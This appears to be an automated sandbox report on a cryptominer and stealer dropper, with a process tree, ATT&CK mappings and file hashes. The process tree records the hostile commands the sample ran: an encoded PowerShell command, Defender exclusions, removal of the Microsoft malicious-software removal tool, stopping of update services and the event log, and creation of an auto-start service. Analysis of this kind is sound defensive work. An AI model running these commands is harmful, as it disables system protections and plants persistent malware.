Token: SeRestorePrivilege	2000	svchost.exe
Token: SeShutdownPrivilege	2000	svchost.exe
Token: SeSystemEnvironmentPrivilege	2000	svchost.exe
Token: SeUndockPrivilege	2000	svchost.exe
Token: SeManageVolumePrivilege	2000	svchost.exe
Token: SeAssignPrimaryTokenPrivilege	2000	svchost.exe
Token: SeIncreaseQuotaPrivilege	2000	svchost.exe
Token: SeSecurityPrivilege	2000	svchost.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 2428 wrote to memory of 2576	2428	1940797bbf48e2b4061f3d3b0809c6e6a5f66b35653c6384cca212eedf873541.exe	82
PID 2428 wrote to memory of 2576	2428	1940797bbf48e2b4061f3d3b0809c6e6a5f66b35653c6384cca212eedf873541.exe	82
PID 2428 wrote to memory of 4584	2428	1940797bbf48e2b4061f3d3b0809c6e6a5f66b35653c6384cca212eedf873541.exe	84
PID 2428 wrote to memory of 4584	2428	1940797bbf48e2b4061f3d3b0809c6e6a5f66b35653c6384cca212eedf873541.exe	84
PID 2428 wrote to memory of 872	2428	1940797bbf48e2b4061f3d3b0809c6e6a5f66b35653c6384cca212eedf873541.exe	85
PID 2428 wrote to memory of 872	2428	1940797bbf48e2b4061f3d3b0809c6e6a5f66b35653c6384cca212eedf873541.exe	85
PID 2428 wrote to memory of 872	2428	1940797bbf48e2b4061f3d3b0809c6e6a5f66b35653c6384cca212eedf873541.exe	85
PID 4552 wrote to memory of 3804	4552	cmd.exe	102
PID 4552 wrote to memory of 3804	4552	cmd.exe	102
PID 4584 wrote to memory of 3892	4584	Miner.exe	111
PID 4584 wrote to memory of 3892	4584	Miner.exe	111
PID 4584 wrote to memory of 3892	4584	Miner.exe	111
PID 4584 wrote to memory of 3892	4584	Miner.exe	111
PID 4584 wrote to memory of 3892	4584	Miner.exe	111
PID 4584 wrote to memory of 3892	4584	Miner.exe	111
PID 4584 wrote to memory of 3892	4584	Miner.exe	111
PID 3892 wrote to memory of 616	3892	dialer.exe	5
PID 3892 wrote to memory of 664	3892	dialer.exe	7
PID 3892 wrote to memory of 964	3892	dialer.exe	12
PID 3892 wrote to memory of 64	3892	dialer.exe	13
PID 3892 wrote to memory of 428	3892	dialer.exe	14
PID 3892 wrote to memory of 512	3892	dialer.exe	15
PID 3892 wrote to memory of 1112	3892	dialer.exe	17
PID 3892 wrote to memory of 1124	3892	dialer.exe	18
PID 3892 wrote to memory of 1168	3892	dialer.exe	19
PID 3892 wrote to memory of 1188	3892	dialer.exe	20
PID 3892 wrote to memory of 1268	3892	dialer.exe	21
PID 3892 wrote to memory of 1276	3892	dialer.exe	22
PID 3892 wrote to memory of 1336	3892	dialer.exe	23
PID 3892 wrote to memory of 1456	3892	dialer.exe	24
PID 3892 wrote to memory of 1484	3892	dialer.exe	25
PID 3892 wrote to memory of 1520	3892	dialer.exe	26
PID 3892 wrote to memory of 1532	3892	dialer.exe	27
PID 3892 wrote to memory of 1672	3892	dialer.exe	28
PID 3892 wrote to memory of 1684	3892	dialer.exe	29
PID 3892 wrote to memory of 1752	3892	dialer.exe	30
PID 3892 wrote to memory of 1780	3892	dialer.exe	31
PID 3892 wrote to memory of 1952	3892	dialer.exe	32
PID 3892 wrote to memory of 1988	3892	dialer.exe	33
PID 3892 wrote to memory of 2000	3892	dialer.exe	34
PID 3892 wrote to memory of 2084	3892	dialer.exe	35
PID 3892 wrote to memory of 2104	3892	dialer.exe	36
PID 3892 wrote to memory of 2172	3892	dialer.exe	37
PID 3892 wrote to memory of 2284	3892	dialer.exe	38
PID 3892 wrote to memory of 2320	3892	dialer.exe	39
PID 3892 wrote to memory of 2440	3892	dialer.exe	41
PID 3892 wrote to memory of 2540	3892	dialer.exe	42
PID 3892 wrote to memory of 2552	3892	dialer.exe	43
PID 3892 wrote to memory of 2656	3892	dialer.exe	44
PID 3892 wrote to memory of 2664	3892	dialer.exe	45
PID 3892 wrote to memory of 2704	3892	dialer.exe	46
PID 3892 wrote to memory of 2712	3892	dialer.exe	47
PID 3892 wrote to memory of 2888	3892	dialer.exe	48
PID 3892 wrote to memory of 2932	3892	dialer.exe	49
PID 3892 wrote to memory of 2952	3892	dialer.exe	50
PID 3892 wrote to memory of 2960	3892	dialer.exe	51
PID 3892 wrote to memory of 2976	3892	dialer.exe	52
PID 664 wrote to memory of 2952	664	lsass.exe	50
PID 664 wrote to memory of 2952	664	lsass.exe	50
PID 664 wrote to memory of 2952	664	lsass.exe	50
PID 664 wrote to memory of 2952	664	lsass.exe	50
PID 664 wrote to memory of 2952	664	lsass.exe	50
PID 664 wrote to memory of 2952	664	lsass.exe	50
PID 3892 wrote to memory of 3144	3892	dialer.exe	53

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Windows\system32\winlogon.exe
winlogon.exe
1⤵
PID:616
- C:\Windows\system32\dwm.exe
  "dwm.exe"
  2⤵
  PID:64

C:\Windows\system32\lsass.exe
C:\Windows\system32\lsass.exe
1⤵
- Suspicious use of WriteProcessMemory
PID:664

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k DcomLaunch -p -s LSM
1⤵
PID:964

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s gpsvc
1⤵
PID:428

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s lmhosts
1⤵
PID:512

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s TimeBrokerSvc
1⤵
PID:1112

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s NcbService
1⤵
PID:1124

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s EventLog
1⤵
- Indicator Removal: Clear Windows Event Logs
PID:1168

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s Schedule
1⤵
- Drops file in System32 directory
PID:1188
- C:\Windows\system32\taskhostw.exe
  taskhostw.exe {222A245B-E637-4AE9-A93F-A59CA119A75E}
  2⤵
  PID:2656

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s ProfSvc
1⤵
PID:1268

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s DispBrokerDesktopSvc
1⤵
PID:1276

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s nsi
1⤵
PID:1336

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s Dhcp
1⤵
PID:1456

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s UserManager
1⤵
PID:1484
- C:\Windows\system32\sihost.exe
  sihost.exe
  2⤵
  PID:2540

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s EventSystem
1⤵
PID:1520

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k netsvcs -p -s Themes
1⤵
PID:1532

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s SENS
1⤵
PID:1672

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k NetworkService -p -s NlaSvc
1⤵
PID:1684

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalService -p -s netprofm
1⤵
PID:1752

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s AudioEndpointBuilder
1⤵
PID:1780

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p
1⤵
PID:1952

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k NetworkService -p -s Dnscache
1⤵
PID:1988

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s Winmgmt
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:2000

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k appmodel -p -s StateRepository
1⤵
PID:2084

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p
1⤵
PID:2104

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k netsvcs -p -s ShellHWDetection
1⤵
PID:2172

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -s RmSvc
1⤵
PID:2284

C:\Windows\System32\spoolsv.exe
C:\Windows\System32\spoolsv.exe
1⤵
PID:2320

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k NetworkService -p -s LanmanWorkstation
1⤵
PID:2440

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k UnistackSvcGroup -s CDPUserSvc
1⤵
PID:2552

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s TokenBroker
1⤵
PID:2664

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s IKEEXT
1⤵
PID:2704

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k NetworkServiceNetworkRestricted -p -s PolicyAgent
1⤵
PID:2712

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k NetworkService -p -s CryptSvc
1⤵
- Drops file in System32 directory
PID:2888

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s LanmanServer
1⤵
PID:2932

C:\Windows\sysmon.exe
C:\Windows\sysmon.exe
1⤵
PID:2952

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s TrkWks
1⤵
PID:2960

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s WpnService
1⤵
PID:2976

C:\Windows\system32\wbem\unsecapp.exe
C:\Windows\system32\wbem\unsecapp.exe -Embedding
1⤵
PID:3144

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s CDPSvc
1⤵
PID:3324

C:\Windows\Explorer.EXE
C:\Windows\Explorer.EXE
1⤵
PID:3568
- C:\Users\Admin\AppData\Local\Temp\1940797bbf48e2b4061f3d3b0809c6e6a5f66b35653c6384cca212eedf873541.exe
  "C:\Users\Admin\AppData\Local\Temp\1940797bbf48e2b4061f3d3b0809c6e6a5f66b35653c6384cca212eedf873541.exe"
  2⤵
  - Checks computer location settings
  - Suspicious use of WriteProcessMemory
  PID:2428
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAHQAeQB5ACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAHMAbAB3ACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHMAZQB1ACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAG0AZQB4ACMAPgA="
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:2576
- - C:\Users\Admin\AppData\Roaming\Miner.exe
    "C:\Users\Admin\AppData\Roaming\Miner.exe"
    3⤵
    - Drops file in Drivers directory
    - Executes dropped EXE
    - Drops file in System32 directory
    - Suspicious use of SetThreadContext
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of WriteProcessMemory
    PID:4584
  - - C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
      C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:5108
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart
      4⤵
      Suspicious use of WriteProcessMemory
      PID:4552
    - - C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        5⤵
        
        PID:2604
    - - C:\Windows\system32\wusa.exe
        
        wusa /uninstall /kb:890830 /quiet /norestart
        5⤵
        
        PID:3804
  - - C:\Windows\system32\sc.exe
      C:\Windows\system32\sc.exe stop UsoSvc
      4⤵
      Launches sc.exe
      PID:3628
  - - C:\Windows\system32\sc.exe
      C:\Windows\system32\sc.exe stop WaaSMedicSvc
      4⤵
      Launches sc.exe
      PID:2848
  - - C:\Windows\system32\sc.exe
      C:\Windows\system32\sc.exe stop wuauserv
      4⤵
      Launches sc.exe
      PID:744
  - - C:\Windows\system32\sc.exe
      C:\Windows\system32\sc.exe stop bits
      4⤵
      Launches sc.exe
      PID:1896
  - - C:\Windows\system32\sc.exe
      C:\Windows\system32\sc.exe stop dosvc
      4⤵
      Launches sc.exe
      PID:1560
  - - C:\Windows\system32\dialer.exe
      C:\Windows\system32\dialer.exe
      4⤵
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      Suspicious use of WriteProcessMemory
      PID:3892
  - - C:\Windows\system32\sc.exe
      C:\Windows\system32\sc.exe delete "RYVSUJUA"
      4⤵
      Launches sc.exe
      PID:3536
  - - C:\Windows\system32\sc.exe
      C:\Windows\system32\sc.exe create "RYVSUJUA" binpath= "C:\ProgramData\trmrjvadsnmf\whrbuflqwhah.exe" start= "auto"
      4⤵
      Launches sc.exe
      PID:3664
  - - C:\Windows\system32\sc.exe
      C:\Windows\system32\sc.exe stop eventlog
      4⤵
      Launches sc.exe
      PID:3008
  - - C:\Windows\system32\sc.exe
      C:\Windows\system32\sc.exe start "RYVSUJUA"
      4⤵
      Launches sc.exe
      PID:3780
    - - C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        5⤵
        
        PID:1632
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Roaming\Miner.exe"
      4⤵
      PID:624
    - - C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        5⤵
        
        PID:4108
    - - C:\Windows\system32\choice.exe
        
        choice /C Y /N /D Y /T 3
        5⤵
        
        PID:4400
- - C:\Users\Admin\AppData\Local\Temp\Stealer.exe
    "C:\Users\Admin\AppData\Local\Temp\Stealer.exe"
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    PID:872
  - - C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -u -p 872 -s 2088
      4⤵
      Program crash
      PID:1244

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k ClipboardSvcGroup -p -s cbdhsvc
1⤵
PID:3704

C:\Windows\system32\DllHost.exe
C:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}
1⤵
PID:3900

C:\Windows\System32\RuntimeBroker.exe
C:\Windows\System32\RuntimeBroker.exe -Embedding
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:960

C:\Windows\System32\RuntimeBroker.exe
C:\Windows\System32\RuntimeBroker.exe -Embedding
1⤵
PID:4080

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s StorSvc
1⤵
PID:4092

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceAndNoImpersonation -p -s SSDPSRV
1⤵
PID:4764

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s WinHttpAutoProxySvc
1⤵
- Modifies data under HKEY_USERS
PID:3000

C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe
"C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe" /service
1⤵
- Drops file in System32 directory
- Modifies data under HKEY_USERS
PID:1976

C:\Windows\system32\SppExtComObj.exe
C:\Windows\system32\SppExtComObj.exe -Embedding
1⤵
PID:396

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalService -p -s LicenseManager
1⤵
PID:1924

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s wlidsvc
1⤵
- Modifies data under HKEY_USERS
PID:4740

C:\Windows\system32\DllHost.exe
C:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}
1⤵
PID:2348

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s NgcCtnrSvc
1⤵
PID:3604

C:\Windows\System32\RuntimeBroker.exe
C:\Windows\System32\RuntimeBroker.exe -Embedding
1⤵
PID:1904

C:\Windows\system32\wbem\wmiprvse.exe
C:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding
1⤵
- Checks BIOS information in registry
- Checks SCSI registry key(s)
- Checks processor information in registry
- Enumerates system info in registry
PID:4984

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k WerSvcGroup
1⤵
PID:5036
- C:\Windows\SysWOW64\WerFault.exe
  C:\Windows\SysWOW64\WerFault.exe -pss -s 408 -p 872 -ip 872
  2⤵
  PID:1552

C:\Windows\System32\WaaSMedicAgent.exe
C:\Windows\System32\WaaSMedicAgent.exe 3d6a376e4e550048208dc7b2287dc5c6 vKpHAiQ84Ui6+XeQkXeQjw.0.1.0.0.0
1⤵
PID:1388
- C:\Windows\System32\Conhost.exe
  \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
  2⤵
  PID:1216

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s wuauserv
1⤵
- Drops file in Windows directory
PID:2856

C:\Windows\servicing\TrustedInstaller.exe
C:\Windows\servicing\TrustedInstaller.exe
1⤵
PID:3304

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s UsoSvc
1⤵
PID:4316

C:\Windows\System32\mousocoreworker.exe
C:\Windows\System32\mousocoreworker.exe -Embedding
1⤵
- Checks processor information in registry
- Modifies data under HKEY_USERS
- Suspicious use of AdjustPrivilegeToken
PID:4884

C:\ProgramData\trmrjvadsnmf\whrbuflqwhah.exe
C:\ProgramData\trmrjvadsnmf\whrbuflqwhah.exe
1⤵
- Drops file in Drivers directory
- Executes dropped EXE
- Drops file in System32 directory
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
PID:2496
- C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Drops file in System32 directory
  - Modifies data under HKEY_USERS
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:3392
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:3368
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart
  2⤵
  PID:1352
- - C:\Windows\system32\wusa.exe
    wusa /uninstall /kb:890830 /quiet /norestart
    3⤵
    PID:2604
- C:\Windows\system32\sc.exe
  C:\Windows\system32\sc.exe stop UsoSvc
  2⤵
  - Launches sc.exe
  PID:4732
- C:\Windows\system32\sc.exe
  C:\Windows\system32\sc.exe stop WaaSMedicSvc
  2⤵
  - Launches sc.exe
  PID:4548
- C:\Windows\system32\sc.exe
  C:\Windows\system32\sc.exe stop wuauserv
  2⤵
  - Launches sc.exe
  PID:3268
- C:\Windows\system32\sc.exe
  C:\Windows\system32\sc.exe stop bits
  2⤵
  - Launches sc.exe
  PID:3396
- C:\Windows\system32\sc.exe
  C:\Windows\system32\sc.exe stop dosvc
  2⤵
  - Launches sc.exe
  PID:1064
- C:\Windows\system32\dialer.exe
  C:\Windows\system32\dialer.exe
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:3204
- C:\Windows\system32\dialer.exe
  C:\Windows\system32\dialer.exe
  2⤵
  PID:2264
- C:\Windows\system32\dialer.exe
  dialer.exe
  2⤵
  - Modifies data under HKEY_USERS
  - Suspicious use of AdjustPrivilegeToken
  PID:1400

C:\Windows\winsxs\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.19041.1220_none_7e21bc567c7ed16b\TiWorker.exe
C:\Windows\winsxs\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.19041.1220_none_7e21bc567c7ed16b\TiWorker.exe -Embedding
1⤵
- Drops file in Windows directory
PID:1584

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

System Services

T1569

Service Execution

T1569.002

Persistence

Create or Modify System Process

T1543

Windows Service

T1543.003

Privilege Escalation

Create or Modify System Process

T1543

Windows Service

T1543.003

Defense Evasion

Impair Defenses

T1562

Indicator Removal

T1070

Clear Windows Event Logs

T1070.001

Obfuscated Files or Information

T1027

Command Obfuscation

T1027.010

Credential Access

Discovery

Peripheral Device Discovery

T1120

Query Registry

T1012

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Service Stop

T1489

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

Filesize
2KB

MD5
d85ba6ff808d9e5444a4b369f5bc2730

SHA1
31aa9d96590fff6981b315e0b391b575e4c0804a

SHA256
84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f

SHA512
8c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
944B

MD5
6d3e9c29fe44e90aae6ed30ccf799ca8

SHA1
c7974ef72264bbdf13a2793ccf1aed11bc565dce

SHA256
2360634e63e8f0b5748e2c56ebb8f4aa78e71008ea7b5c9ca1c49be03b49557d

SHA512
60c38c4367352537545d859f64b9c5cbada94240478d1d039fd27b5ecba4dc1c90051557c16d802269703b873546ead416279c0a80c6fd5e49ad361cef22596a

Download Submit
C:\Users\Admin\AppData\Local\Temp\Stealer.exe

Filesize
203KB

MD5
46a4e1cd3bae840958c82a7765ca3bb1

SHA1
f5239f36d37167b0d247e044e9e3c7cd88962a34

SHA256
aca8c3a961abb7db28d372d9e1d00f05784cf97e4b7d2e56b099a7eba1cbe4ee

SHA512
6818c1313db70e2b03f77a65f77878c4246dcc16f7a077390792a5f5ac3df12a078d7da0d7f2492bcf7bb68ca2ed7dff7dfdef5ebd88e41dc646016491b5afd2

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_hoikpeig.3ow.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Roaming\Miner.exe

Filesize
5.3MB

MD5
99201be105bf0a4b25d9c5113da723fb

SHA1
443e6e285063f67cb46676b3951733592d569a7c

SHA256
e4eda2de1dab7a3891b0ed6eff0ccd905ff4b275150004c6eb5f1d6582eea9a2

SHA512
b57ae7282f2798cbf231f8ca6081b5fab10068566a49f0ad735e8408ccd73d77efb5c26a48b7591e20711f0adbd9e619b40078b9c51d31b7a9768104529e7808

Download Submit
C:\Windows\system32\drivers\etc\hosts

Filesize
3KB

MD5
77a256005c6af9fbaf6edefc284df6ef

SHA1
b19f34b87a7d90b43f52d76c6ec0b7d2bdd562a3

SHA256
66f535a7b320a8e8da9ffde510f57f7f98cc366ce5494df1cbca09bd3afbb3c5

SHA512
ebc1d41c14c713146f6c3ad27aae519b3d6c756321921975f40e61cc91eeadee36c010b43ca0c5864d47207af70a17e0a6e91b0ad7c8fd79ee046003a4bfea5f

Download Submit
memory/64-73-0x000001F2998A0000-0x000001F2998CB000-memory.dmp

Filesize
172KB

Download
memory/64-74-0x00007FF9913B0000-0x00007FF9913C0000-memory.dmp

Filesize
64KB

Download
memory/428-77-0x00007FF9913B0000-0x00007FF9913C0000-memory.dmp

Filesize
64KB

Download
memory/428-76-0x0000025EFFFD0000-0x0000025EFFFFB000-memory.dmp

Filesize
172KB

Download
memory/512-85-0x00007FF9913B0000-0x00007FF9913C0000-memory.dmp

Filesize
64KB

Download
memory/512-84-0x000001D1116E0000-0x000001D11170B000-memory.dmp

Filesize
172KB

Download
memory/616-64-0x000001E939090000-0x000001E9390BB000-memory.dmp

Filesize
172KB

Download
memory/616-65-0x00007FF9913B0000-0x00007FF9913C0000-memory.dmp

Filesize
64KB

Download
memory/616-62-0x000001E939050000-0x000001E939074000-memory.dmp

Filesize
144KB

Download
memory/664-68-0x00007FF9913B0000-0x00007FF9913C0000-memory.dmp

Filesize
64KB

Download
memory/664-67-0x0000026603710000-0x000002660373B000-memory.dmp

Filesize
172KB

Download
memory/964-79-0x000001C56D7B0000-0x000001C56D7DB000-memory.dmp

Filesize
172KB

Download
memory/964-80-0x00007FF9913B0000-0x00007FF9913C0000-memory.dmp

Filesize
64KB

Download
memory/1112-88-0x00007FF9913B0000-0x00007FF9913C0000-memory.dmp

Filesize
64KB

Download
memory/1112-87-0x000001B676770000-0x000001B67679B000-memory.dmp

Filesize
172KB

Download
memory/1124-93-0x000002BF3FF80000-0x000002BF3FFAB000-memory.dmp

Filesize
172KB

Download
memory/1124-94-0x00007FF9913B0000-0x00007FF9913C0000-memory.dmp

Filesize
64KB

Download
memory/1168-97-0x00007FF9913B0000-0x00007FF9913C0000-memory.dmp

Filesize
64KB

Download
memory/1168-96-0x0000020E62A50000-0x0000020E62A7B000-memory.dmp

Filesize
172KB

Download
memory/1188-100-0x00007FF9913B0000-0x00007FF9913C0000-memory.dmp

Filesize
64KB

Download
memory/1188-99-0x00000233DD0E0000-0x00000233DD10B000-memory.dmp

Filesize
172KB

Download
memory/1268-104-0x00007FF9913B0000-0x00007FF9913C0000-memory.dmp

Filesize
64KB

Download
memory/1268-103-0x000001F34F140000-0x000001F34F16B000-memory.dmp

Filesize
172KB

Download
memory/2428-2-0x00007FF9B30D0000-0x00007FF9B3B91000-memory.dmp

Filesize
10.8MB

Download
memory/2428-0-0x00007FF9B30D3000-0x00007FF9B30D5000-memory.dmp

Filesize
8KB

Download
memory/2428-1-0x0000000000DE0000-0x000000000135C000-memory.dmp

Filesize
5.5MB

Download
memory/2428-32-0x00007FF9B30D0000-0x00007FF9B3B91000-memory.dmp

Filesize
10.8MB

Download
memory/2576-27-0x00007FF9B30D0000-0x00007FF9B3B91000-memory.dmp

Filesize
10.8MB

Download
memory/2576-11-0x00007FF9B30D0000-0x00007FF9B3B91000-memory.dmp

Filesize
10.8MB

Download
memory/2576-18-0x000001401DCB0000-0x000001401DCD2000-memory.dmp

Filesize
136KB

Download
memory/2576-36-0x00007FF9B30D0000-0x00007FF9B3B91000-memory.dmp

Filesize
10.8MB

Download
memory/2576-33-0x00007FF9B30D0000-0x00007FF9B3B91000-memory.dmp

Filesize
10.8MB

Download
memory/3392-388-0x00000224F7CE0000-0x00000224F7CE8000-memory.dmp

Filesize
32KB

Download
memory/3392-376-0x00000224F7AA0000-0x00000224F7AAA000-memory.dmp

Filesize
40KB

Download
memory/3392-389-0x00000224F7D10000-0x00000224F7D16000-memory.dmp

Filesize
24KB

Download
memory/3392-390-0x00000224F7D20000-0x00000224F7D2A000-memory.dmp

Filesize
40KB

Download
memory/3392-377-0x00000224F7CF0000-0x00000224F7D0C000-memory.dmp

Filesize
112KB

Download
memory/3392-386-0x00000224F7CD0000-0x00000224F7CDA000-memory.dmp

Filesize
40KB

Download
memory/3392-387-0x00000224F7D30000-0x00000224F7D4A000-memory.dmp

Filesize
104KB

Download
memory/3392-373-0x00000224F7AB0000-0x00000224F7ACC000-memory.dmp

Filesize
112KB

Download
memory/3392-375-0x00000224F7AD0000-0x00000224F7B85000-memory.dmp

Filesize
724KB

Download
memory/3892-57-0x00007FF9D1330000-0x00007FF9D1525000-memory.dmp

Filesize
2.0MB

Download
memory/3892-59-0x0000000140000000-0x000000014002B000-memory.dmp

Filesize
172KB

Download
memory/3892-58-0x00007FF9CFC00000-0x00007FF9CFCBE000-memory.dmp

Filesize
760KB

Download
memory/3892-56-0x0000000140000000-0x000000014002B000-memory.dmp

Filesize
172KB

Download
memory/3892-54-0x0000000140000000-0x000000014002B000-memory.dmp

Filesize
172KB

Download
memory/3892-53-0x0000000140000000-0x000000014002B000-memory.dmp

Filesize
172KB

Download
memory/3892-52-0x0000000140000000-0x000000014002B000-memory.dmp

Filesize
172KB

Download
memory/3892-51-0x0000000140000000-0x000000014002B000-memory.dmp

Filesize
172KB

Download